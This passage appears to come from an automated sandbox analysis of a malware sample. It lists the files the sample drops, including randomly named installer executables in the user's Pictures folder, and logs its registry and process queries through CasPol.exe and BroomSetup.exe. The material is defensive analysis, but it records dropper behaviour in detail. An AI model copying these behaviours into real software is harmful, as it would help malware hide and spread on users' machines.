00000000-00003068] "GroenneKugler.png" has type "PNG image data 1600 x 900 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\GroenneKugler.png]- [targetUID: 00000000-00003068] "iSink.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\iSink.png]- [targetUID: 00000000-00003068] "Metalluhr.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Metalluhr.png]- [targetUID: 00000000-00003068] "Negro.png" has type "PNG image data 176 x 176 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Negro.png]- [targetUID: 00000000-00003068] "WidestoneStudios.png" has type "PNG image data 144 x 104 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\WidestoneStudios.png]- [targetUID: 00000000-00003068] "CarpeDiem.png" has type "PNG image data 126 x 126 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\CarpeDiem.png]- [targetUID: 00000000-00003068] "BallClockIce.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BallClockIce.png]- [targetUID: 00000000-00003068] "clockbell.mp3" has type "MPEG ADTS layer III v2.5 32 kbps 11.025 kHz Monaural"- Location: [%PROGRAMFILES%\(x86)\ClocX\Sounds\clockbell.mp3]- [targetUID: 00000000-00003068] "White_Apple_Clock.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\White_Apple_Clock.png]- [targetUID: 00000000-00003068] "CloQ.png" has type "PNG image data 160 x 110 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\CloQ.png]- [targetUID: 00000000-00003068] "longhorn.png" has type "PNG image data 126 x 108 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\longhorn.png]- [targetUID: 00000000-00003068] "alert.mp3" has type "RIFF (little-endian) data WAVE audio MPEG Layer 3 mono 8000 Hz"- Location: [%PROGRAMFILES%\(x86)\ClocX\Sounds\alert.mp3]- [targetUID: 00000000-00003068] "Cappuccino.png" has type "PNG image data 140 x 140 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Cappuccino.png]- [targetUID: 00000000-00003068] "negro2.png" has type "PNG image data 150 x 150 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\negro2.png]- [targetUID: 00000000-00003068] "ring.wav" has type "RIFF (little-endian) data WAVE audio Microsoft PCM 8 bit mono 11025 Hz"- Location: [%PROGRAMFILES%\(x86)\ClocX\Sounds\ring.wav]- [targetUID: 00000000-00003068] "siren.mp3" has type "MPEG ADTS layer III v2.5 24 kbps 8 kHz Monaural"- Location: [%PROGRAMFILES%\(x86)\ClocX\Sounds\siren.mp3]- [targetUID: 00000000-00003068] "black and steel.png" has type "PNG image data 150 x 145 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\black and steel.png]- [targetUID: 00000000-00003068] "BlackClock.bmp" has type "PC bitmap Windows 3.x format 117 x 119 x 8 1 compression image size 6966 resolution 2898 x 2898 px/m 256 important colors cbSize 8044 bits offset 1078"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlackClock.bmp]- [targetUID: 00000000-00003068] "ring2.mp3" has type "MPEG ADTS layer III v2.5 32 kbps 11.025 kHz Monaural"- Location: [%PROGRAMFILES%\(x86)\ClocX\Sounds\ring2.mp3]- [targetUID: 00000000-00003068] "marblemin.png" has type "PNG image data 117 x 14 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\greenmarble\marblemin.png]- [targetUID: 00000000-00003068] "MClkhrHand.hpng" has type "PNG image data 82 x 29 8-bit/color RGB interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\MClkhrHand.hpng]- [targetUID: 00000000-00003068] "MClkminHand.hpng" has type "PNG image data 99 x 29 8-bit/color RGB interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\MClkminHand.hpng]- [targetUID: 00000000-00003068] "beep-ClockChime.wav" has type "RIFF (little-endian) data WAVE audio Microsoft PCM 8 bit mono 7418 Hz"- Location: [%PROGRAMFILES%\(x86)\ClocX\Sounds\beep-ClockChime.wav]- [targetUID: 00000000-00003068] "marblehour.png" has type "PNG image data 114 x 19 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\greenmarble\marblehour.png]- [targetUID: 00000000-00003068] "romanoldmin.png" has type "PNG image data 100 x 14 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\romanold\romanoldmin.png]- [targetUID: 00000000-00003068] "roman2minute.png" has type "PNG image data 100 x 18 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\roman2\roman2minute.png]- [targetUID: 00000000-00003068] "romanminute.png" has type "PNG image data 100 x 9 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\roman\romanminute.png]- [targetUID: 00000000-00003068] "romanoldhour.png" has type "PNG image data 100 x 13 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\romanold\romanoldhour.png]- [targetUID: 00000000-00003068] "romanhour.png" has type "PNG image data 80 x 10 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\roman\romanhour.png]- [targetUID: 00000000-00003068] "roman2hour.png" has type "PNG image data 70 x 17 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\roman2\roman2hour.png]- [targetUID: 00000000-00003068] "Espanol.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Espanol.lng]- [targetUID: 00000000-00003068] "Nederlands.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Nederlands.lng]- [targetUID: 00000000-00003068] "Greek.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Greek.lng]- [targetUID: 00000000-00003068] "Japanese.lng" has type "Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Japanese.lng]- [targetUID: 00000000-00003068] "Hungarian.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Hungarian.lng]- [targetUID: 00000000-00003068] "Suomi.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Suomi.lng]- [targetUID: 00000000-00003068] "Russian.lng" has type "ISO-8859 text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Russian.lng]- [targetUID: 00000000-00003068] "Slovak.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Slovak.lng]- [targetUID: 00000000-00003068] "Deutsch.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Deutsch.lng]- [targetUID: 00000000-00003068] "Thai.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Thai.lng]- [targetUID: 00000000-00003068] "Italiano.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Italiano.lng]- [targetUID: 00000000-00003068] "French.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\French.lng]- [targetUID: 00000000-00003068] "Uhr.png" has type "PNG image data 200 x 200 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Uhr.png]- [targetUID: 00000000-00003068] "Estonian.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Estonian.lng]- [targetUID: 00000000-00003068] "Bosanski.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Bosanski.lng]- [targetUID: 00000000-00003068] "Polish.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Polish.lng]- [targetUID: 00000000-00003068] "Srpski.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Srpski.lng]- [targetUID: 00000000-00003068] "Bulgarian.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Bulgarian.lng]- [targetUID: 00000000-00003068] "Romanian.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Romanian.lng]- [targetUID: 00000000-00003068] "Ukrainian.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Ukrainian.lng]- [targetUID: 00000000-00003068] "domemin.png" has type "PNG image data 60 x 9 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\domeclock\domemin.png]- [targetUID: 00000000-00003068] "Czech.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Czech.lng]- [targetUID: 00000000-00003068] "Svenska.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Svenska.lng]- [targetUID: 00000000-00003068] "Brazilian Portuguese.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Brazilian Portuguese.lng]- [targetUID: 00000000-00003068] "Indonesian.lng" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Indonesian.lng]- [targetUID: 00000000-00003068] "domehour.png" has type "PNG image data 40 x 14 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\domeclock\domehour.png]- [targetUID: 00000000-00003068] "Afrikaans.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Afrikaans.lng]- [targetUID: 00000000-00003068] "Slovenian.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Slovenian.lng]- [targetUID: 00000000-00003068] "Korean.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Korean.lng]- [targetUID: 00000000-00003068] "Danish.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Danish.lng]- [targetUID: 00000000-00003068] "Turkce.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Turkce.lng]- [targetUID: 00000000-00003068] "Portuguese.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Portuguese.lng]- [targetUID: 00000000-00003068] "English.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\English.lng]- [targetUID: 00000000-00003068] "Arabic.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Arabic.lng]- [targetUID: 00000000-00003068] "Hebrew.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Hebrew.lng]- [targetUID: 00000000-00003068] "Traditional_Chinese.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Traditional_Chinese.lng]- [targetUID: 00000000-00003068] "klokjemin.hpng" has type "PNG image data 50 x 9 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\klokjemin.hpng]- [targetUID: 00000000-00003068] "Simple_Chinese.lng" has type "CSV text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Lang\Simple_Chinese.lng]- [targetUID: 00000000-00003068] "GuldKugler.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\GuldKugler.ini]- [targetUID: 00000000-00003068] "black and steel.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\black and steel.ini]- [targetUID: 00000000-00003068] "IvyLace.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\IvyLace.ini]- [targetUID: 00000000-00003068] "default.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\default.ini]- [targetUID: 00000000-00003068] "weemsplath.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\weemsplath.ini]- [targetUID: 00000000-00003068] "bahnhofsuhr.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\bahnhofsuhr.ini]- [targetUID: 00000000-00003068] "BaiWeather.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BaiWeather.ini]- [targetUID: 00000000-00003068] "Octopye2.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Octopye2.ini]- [targetUID: 00000000-00003068] "Wall Clock medium.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Wall Clock medium.ini]- [targetUID: 00000000-00003068] "dragon.bk" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\dragon.bk]- [targetUID: 00000000-00003068] "alarme.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\alarme.ini]- [targetUID: 00000000-00003068] "apple.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\apple.ini]- [targetUID: 00000000-00003068] "longhorn.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\longhorn.ini]- [targetUID: 00000000-00003068] "wonderglobe2.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\wonderglobe2.ini]- [targetUID: 00000000-00003068] "earth2.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\earth2.ini]- [targetUID: 00000000-00003068] "Neon.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Neon.ini]- [targetUID: 00000000-00003068] "CarpeDiem.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\CarpeDiem.ini]- [targetUID: 00000000-00003068] "Uhr.ini" has type "ASCII text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Uhr.ini]- [targetUID: 00000000-00003068] "BlueBallStd.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueBallStd.ini]- [targetUID: 00000000-00003068] "BlueBallOnlyDots.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueBallOnlyDots.ini]- [targetUID: 00000000-00003068] "negro2.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\negro2.ini]- [targetUID: 00000000-00003068] "Negro.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Negro.ini]- [targetUID: 00000000-00003068] "BlueBallRoman.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueBallRoman.ini]- [targetUID: 00000000-00003068] "cowboy2.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\cowboy2.ini]- [targetUID: 00000000-00003068] "Casio.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Casio.ini]- [targetUID: 00000000-00003068] "AJ-CityHall-500-hour.hpng" has type "PNG image data 181 x 27 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\AJ-CityHall-500-hour.hpng]- [targetUID: 00000000-00003068] "klokjehour.hpng" has type "PNG image data 34 x 8 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\klokjehour.hpng]- [targetUID: 00000000-00003068] "Comdex - Omega1.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Comdex - Omega1.ini]- [targetUID: 00000000-00003068] "CloQ.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\CloQ.ini]- [targetUID: 00000000-00003068] "AJ-CityHall-500-minute.hpng" has type "PNG image data 230 x 5 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\AJ-CityHall-500-minute.hpng]- [targetUID: 00000000-00003068] "hourhand-7.png" has type "PNG image data 260 x 9 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\DarkCrystalBall\hourhand-7.png]- [targetUID: 00000000-00003068] "Cappuccino.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Cappuccino.ini]- [targetUID: 00000000-00003068] "minutehand-7.png" has type "PNG image data 260 x 9 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\DarkCrystalBall\minutehand-7.png]- [targetUID: 00000000-00003068] "WidestoneStudios.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\WidestoneStudios.ini]- [targetUID: 00000000-00003068] "secondhand-7.png" has type "PNG image data 258 x 5 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\DarkCrystalBall\secondhand-7.png]- [targetUID: 00000000-00003068] "AquaB.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\AquaB.ini]- [targetUID: 00000000-00003068] "BlueAppleClock.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueAppleClock.ini]- [targetUID: 00000000-00003068] "aquamade.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\aquamade.ini]- [targetUID: 00000000-00003068] "BubbleClock.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BubbleClock.ini]- [targetUID: 00000000-00003068] "ORIGINAL.INI" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\ORIGINAL.INI]- [targetUID: 00000000-00003068] "Alte Standuhr.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Alte Standuhr.ini]- [targetUID: 00000000-00003068] "hallow2.ini" has type "ASCII text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\hallow2.ini]- [targetUID: 00000000-00003068] "hallow.ini" has type "ASCII text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\hallow.ini]- [targetUID: 00000000-00003068] "Citizen.ini" has type "ASCII text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Citizen.ini]- [targetUID: 00000000-00003068] "Omega.ini" has type "ASCII text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Omega.ini]- [targetUID: 00000000-00003068] "romanblackmin.png" has type "PNG image data 55 x 7 8-bit gray+alpha interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\romanblack\romanblackmin.png]- [targetUID: 00000000-00003068] "romanblackhour.png" has type "PNG image data 55 x 8 8-bit gray+alpha interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\romanblack\romanblackhour.png]- [targetUID: 00000000-00003068] "DarkCrystalBall.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\DarkCrystalBall.ini]- [targetUID: 00000000-00003068] "MickeyMouse.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\MickeyMouse.ini]- [targetUID: 00000000-00003068] "MickeyClock.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\MickeyClock.ini]- [targetUID: 00000000-00003068] "klokje.ini" has type "ASCII text"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\klokje.ini]- [targetUID: 00000000-00003068] "Wall Clock medium-sec.hpng" has type "PNG image data 72 x 14 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Wall Clock medium-sec.hpng]- [targetUID: 00000000-00003068] "F0LG0QT9.htm" has type "HTML document ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\9SSPAW46\F0LG0QT9.htm]- [targetUID: 00000000-00001216] "Q8ZXU13X.htm" has type "HTML document ASCII text with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\4EKOOWYY\Q8ZXU13X.htm]- [targetUID: 00000000-00001216] "DSX4.TXT" has type "ASCII text with no line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\DSX4.TXT]- [targetUID: 00000000-00003068] "nstCE4.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\nstCE4.tmp]- [targetUID: 00000000-00001216] "plus_1_.htm" has type "very short file (no magic)"- [targetUID: N/A] "tADoao6OOjGypodPFPdb9O4N.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"- Location: [%USERPROFILE%\Pictures\tADoao6OOjGypodPFPdb9O4N.exe]- [targetUID: 00000000-00000736] "pnyhlJ15kIGAuyP1DTRWyj5L.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"- Location: [%USERPROFILE%\Pictures\pnyhlJ15kIGAuyP1DTRWyj5L.exe]- [targetUID: 00000000-00001216] "syncUpd_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "Wm27Vb5VhFB43RvKrGJritYe.exe" has type "HTML document UTF-8 Unicode text with very long lines"- Location: [%LOCALAPPDATA%\Wm27Vb5VhFB43RvKrGJritYe.exe]- [targetUID: 00000000-00000736] "0XuD4vX5Sz9Si5kHJ98Ucp7k.exe" has type "data"- Location: [%USERPROFILE%\Pictures\0XuD4vX5Sz9Si5kHJ98Ucp7k.exe]- [targetUID: 00000000-00000736] "hallow.png" has type "PNG image data 400 x 400 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\hallow.png]- [targetUID: 00000000-00003068] "Aqua.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Aqua.png]- [targetUID: 00000000-00003068] "woodmin.png" has type "PNG image data 60 x 9 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\woodone\woodmin.png]- [targetUID: 00000000-00003068] "woodhour.png" has type "PNG image data 40 x 14 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\woodone\woodhour.png]- [targetUID: 00000000-00003068] "GroenneKugler.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\GroenneKugler.ini]- [targetUID: 00000000-00003068] "VioletteKugler.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\VioletteKugler.ini]- [targetUID: 00000000-00003068] "earth.ini" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\earth.ini]- [targetUID: 00000000-00003068] "K8KW60KY.txt" has type "ASCII text with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\4EKOOWYY\K8KW60KY.txt]- [targetUID: 00000000-00001216]41:T6db,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "")42:T4be,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" queries basic process information of the "C:\bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (UID: 8140) "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" (UID: 8140) "CasPol.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" (UID: 736) "CasPol.exe" queries basic process information of the "C:\Users\%OSUSER%\Pictures\pnyhlJ15kIGAuyP1DTRWyj5L.exe" (UID: 736) "CasPol.exe" queries basic process information of the "C:\Users\%OSUSER%\Pictures\tADoao6OOjGypodPFPdb9O4N.exe" (UID: 736) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\BroomSetup.exe" (UID: 1216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\nsn192A.tmp.exe" (UID: 1216) "pnyhlJ15kIGAuyP1DTRWyj5L.exe" queries basic process information of the "C:\Users\%OSUSER%\Pictures\pnyhlJ15kIGAuyP1DTRWyj5L.exe" (UID: 1216) "BroomSetup.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\BroomSetup.exe" (UID: 6224)43:Td45,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: 